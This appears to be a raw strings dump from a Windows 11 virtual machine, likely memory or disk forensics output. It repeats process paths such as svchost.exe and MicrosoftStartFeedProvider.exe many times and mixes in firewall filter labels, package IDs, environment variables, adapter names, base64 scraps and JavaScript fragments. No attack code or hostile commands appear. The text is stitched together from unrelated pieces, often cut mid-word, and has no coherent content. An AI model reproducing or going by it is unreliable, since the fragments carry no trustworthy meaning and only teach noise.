\device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \DEVICE\HARDDISKVOLUME3\PROGRAM FILES\WINDOWSAPPS\MICROSOFT.STARTEXPERIENCESAPP_1.151.0.0_X64__8WEKYB3D8BBWE\MICROSOFTSTARTFEEDPROVIDER\MICROSOFTSTARTFEEDPROVIDER.EXE \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe reName}|Desc=@{Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ScreenSketch/Resources/AppStoreNam \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe System System MPSSVC Stores filter origin Stealth \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe System \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe MPSSVC Stores filter origin Stealth \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe MPSSVC Stores filter origin Query User Default erating System, OEM_COA_NSLP chaT \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe System SP800_108_CTR_HMAC Microsoft Primitive Provider \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe MPSSVC Stores filter origin Query User Default \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe MPSSVC Stores filter origin Query User Default System \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe MPSSVC Stores filter origin Query User Default \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\CrossDeviceResume.exeMicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy CrossDeviceResumeApp \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe Stealth MPSSVC Stores filter origin WSH Default 0Local Area Connection* 6 \device\harddiskvolume3\windows\system32\svchost.exe WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy \device\harddiskvolume3\windows\system32\omadmclient.exe MPSSVC Stores filter origin DeviceManagement-1 FMicrosoft IP-HTTPS Platform Adapter r\Device\HarddiskVolume3\Windows\System32\SppExtComObj.Exe 189900wcifs Instance MPSSVC Stores filter origin Stealth win:UnicodeString Product Name 1333 - IoctlCreateMmioGpaRange 13415 IOCTL count - IoctlCreateSynicPort 13417 IOCTL time - IoctlCreateSynicPort 13419 IOCTL count - IoctlCreateVaGpaRange 13421 IOCTL time - IoctlCreateVaGpaRange 13423 IOCTL count - IoctlCryptEnc LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDriv machine.inf:*PNP0A05,NO_DRV_X_PNP "WAN Minip \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe MPSSVC Stores filter origin WSH Default d96d5a8eb1dd} \device\harddiskvolume3\windows\system32\svchost.exe WIN://SYSAPPID Microsoft.WindowsStore_8wekyb3d8bbwe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe WIN://SYSAPPID Microsoft.WindowsStore_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WindowsStore_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.XboxGamingOverlay_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.XboxGamingOverlay_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.XboxGamingOverlay_8wekyb3d8bbwe Stealth WIN://SYSAPPID Microsoft.XboxGamingOverlay_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.XboxGamingOverlay_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.XboxGamingOverlay_8wekyb3d8bbwe @@@?@@<>30<>@@@ \MAC 2Nod MultitaskingView n:br Robot Thread ChangeNotify Immersive Shell Y2x1ZGVJblByaXZhdGU9InRydWUiPjxL ckluPSJ0cnVlIj48RXZlbnRJZCBWYWx1ZT0iNDciIC8+PEV2ZW50SWQgVmFsdWU9IjQ4IiAvPjwvRXZlbnRGaWx0ZXJzPjwvRVBfVHdpbkFwaUFwcENvcmVUcmFjZUxvZ2dpbmdQcm92aWRlcl8wXzVfMTI3MDVf ZWQtOGI5My0yM2ZhMDIxOTFkODNfMF81XzEyNzA1XzkxNl8wXzAiIC8+PEV2ZW50 System \device\harddiskvolume3\windows\system32\castsrv.exe System System \;LanmanRedirector System System System System System System System \device\harddiskvolume3\windows\system32\castsrv.exe figurations for config key (MdMe \device\harddiskvolume3\windows\system32\dmcertinst.exe \device\harddiskvolume3\windows\system32\dmcertinst.exe System System ms checked, 0 required update. hrMui: 0x1 hrEtw: 0 2026-02-24T08:06:13.194 [TS] Troublshooting \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe ifiedAndReputableDesktopEvaluation Microsoft Windows Production PCA 2011 Microsoft Windows ndowsPowerShell\v1.0\;C: Files=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\ \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\program files\vmware\vmware tools\vmtoolsd.exe LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WIND iles ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\U \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe MPSSVC Stores filter origin WSH Default DIAGTR~2 DiagTrackTraceSlot_aot $I300 ( H raceSlot_aot DiagTrackTraceSlot_alternativeTrace gTrackTraceSlot_aot DiagTrackTr Microsoft Corporation DIAGTR~4 ( H \device\harddiskvolume3\windows\system32\svchost.exe (8`8 \device\harddiskvolume3\windows\system32\svchost.exe \device\harddiskvolume3\windows\system32\svchost.exe WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Win32WebViewHost_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy \device\harddiskvolume3\windows\system32\svchost.exe WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy \devic WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy b\Device\HarddiskVolume3\Windows\System32\slui.exe x86\it-IT\wuapicore.dll.mui x86\ja-J M2U3MjU3M2EtNWM1Zi01ZWQ4LWQ2ZjEt LkRldmljZUhvc3RfMF80XzEyNzA1XzgwOF8wXzAiIC8+PEV2ZW50UHJvdmlkZXJJZCBWYWx1ZT0iRVBfVm9pY2VUeXBpbmdfMF81XzEyNzA1XzgwOV8wXzAiIC8+PEV2ZW50UHJvdmlkZXJJZCBWYWx1ZT0iRVBf \Registry\WC\Silo31c98668-b145-f955-da71-e3f10f6042e8software\Microsoft\Windows\CurrentVersion\Shell\Upd xPopupForegroundThemeBrush ComboBoxPressedBackgroundThemeBrush ComboBoxPressedBorderThemeBrush ComboBoxPressedHighlightThemeBrush ComboBoxPressedForegroundTheme ExpanderContentBorderB ()?@ABC 2mIIbaKwECFZtPZ+gsH/1fedm9EOMtxASjSUVQ+iwxHqZ5+yNjszKeA3cQtVvivrhkW48VUy67Gh4IyiGb91ZynQ8TxyMD44uC4g7f7AXXWh8Iw3gqpG0hffqRCNLfmoB1Yk5hT8AbhWUQ77gLJvffo9T2DPgNNawDyh3q6A kJjiIseLIIwfPSB1wb33gTlA bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 305ecc357 bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 EA8AAHdmVUQAAQABeAEAADMiEQAAAQABABEQAwAAAAIAAAAAAAAAAAAAAAAAAAAhAAAAAAEAAAAAAAAAAQAAAAH/////// IOAS83VG+Bnyi8F0g4jhDeB7RPAt+ZExpzQMZ3jF+PKvEGnq bc90d167-9470-4139-a9ba-be0bbbf5b74d 44d1520b-6133-41f0-8a66-d37305ecc357 NativeFontCtl Microsoft Windows 189899wcifs Outer Instance \Program Files 135000luafv werShell\Modules;C:\WINDOWS\system32\WindowsPowe ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\Wind 130850UnionFS In HyperV-Hypervisor-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.mum \\?\D:\wd\ctem 130850UnionFS Instance 135000luafv op Instance 409800bindflt Instance 265000def -SkipNetwork OOBE-Disable-SkipOneDrive OOBE-Disable-Voice OOBE-License-AllowSecondChanceOobe OOBE-Reconnect-Network OOBE-ServerIsClient 1233222332223322 Immersive watermark PenWorkspace work queue DManip Delegate Thread ApplicationView ASTA PLUGINMA NANC Work Queue Worker Thread s_26015.1706.4351.4392_x64__8wekyb3d8bbwe both both both both both t.UI.Xaml.Media.Animation.DiscretePointKeyFrame Microsoft.UI.Xaml.Markup.ProvideValueTargetProperty Microsoft.UI.Xaml.Media.Animation.BeginStoryboard Intel(R) 82574L Gigabit Network Connection-WFP Native MAC Layer LightWeight Filter-0000 Intel(R) 82574L Gigabit Network Connection-QoS Packet Scheduler-0000 Intel(R) 82574L Gigabit Network Connection-WFP 802.3 MAC Layer LightWeight Filter-0000 TIntel(R) 82574L Gigabit Network Connection LMicrosoft Kernel Debug Network Adapter "WAN Miniport (IP) &WAN Miniport (IPv6) n.launchDocument(u.url,u.url,a),h&&(f.getIcon=h),f.url&&(f.sourceForGroup=f.url.indexOf("sharepoint")>-1?4:3),f.lastLaunchTime=r.rankingData.lastLaunchTime,(n.config.optimizeRecentRank||n. ,t,i)=>this.storeSuggestionToMRU(n,t,i)));let a,v=(t,i,u \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\Microsoft-Antimalware-RTP.man:WofCompressedData \sum \program files (x86)\microsoft office\root\clien te64.exe 0c:\program fi SubC Y24k8UPs .bat com.microsoft.windows.extensionp \CurrentVersion\\\\Setup\\\\OOBE\\\\NDUP\\\\Upda \"FullPath\": \"SOFTWARE\\\\Panda Software\\\\Setup\",\n \"IfExists\": true\n },\n \" RDERonLi PLUGIN_M TIME rvicingCleanupPlugin_PluginMaintenanceMode hFja4K9boaWkxYurmPSwjoU7TVrcVoLaty4yR+EOEaCzAg==&p= https://ads.arcct.msn.com MBI_SSL f\Device\HarddiskVolume3\Windows\System32\ctfmon.exe Ethernet0 TIntel(R) 82574L Gigabit Network Connection OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;. \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exeMicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy CortanaUI rosoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy FullTrustApp MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy Global.RulesEngine rosoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy FullTrustApp rosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy runtimebroker07f4358a809ac99a64a67c1 BBWE Shellcommon UDK Dll Shared CoreMessaging Thread \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\WidgetBoard.exeMicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy Global.WidgetBoard \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exeMicrosoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy FullTrustApp Assets\HEVCCodecWideTile.png ps\M nt.CBS_cw5n 86 S USERPROFILE=C:\Users\job windir=C:\WINDOWS System System Runtime CompilerServices IsReadOnlyAttribute System Runtime CompilerServices TypeForwardedFromAttribute System Runtime CompilerServices IsReadOnlyAttribute System Runtime CompilerServices TypeForwardedFromAttribute TIntel(R) 82574L Gigabit Network Connection Ethernet0 (8`8 txye osof acka nSxS lias iases PackageAl indo 9379 gniz t.We erie oftW ws.C vtop 9337 oftWindows.Client.Fi metaIn s":[{"type":"TextBlock","size":"small","text":"Mar","hor \Program Files (x86) animationDuratio j\Device\HarddiskVolume3\Windows\System32\BdeUISrv.exe claim2,prg-1sw-sfexpdat,prg-1sw-spawpor1,prg-1sw-t20t1,p 3f705c :Software Loopback Interface 1 TIntel(R) 82574L Gigabit Network Connection 7073 ange1Month\":0.0,\"price52wHigh\":0.0,\"price52wLow\":0.0,\"pricePreviousClose\":-4.387, 189899wcifs Outer Instance j\Device\HarddiskVolume3\Windows\System32\userinit.exe s\":{\" erThickness LogonUI_Cr _DataTemplateSelector TrueTemplate LogonUI_CredentialLogoListWithSVGsupport FalseTemplate LogonUI_CredentialLogoListWithoutSVGsupport CredentialLogoIcon ThemeAdaptedLogo \device\harddiskvolume3\windows\system32\wbem\wmiapsrv.exe yste \device\harddiskvolume3\windows\system32\securityhealthservice.exe 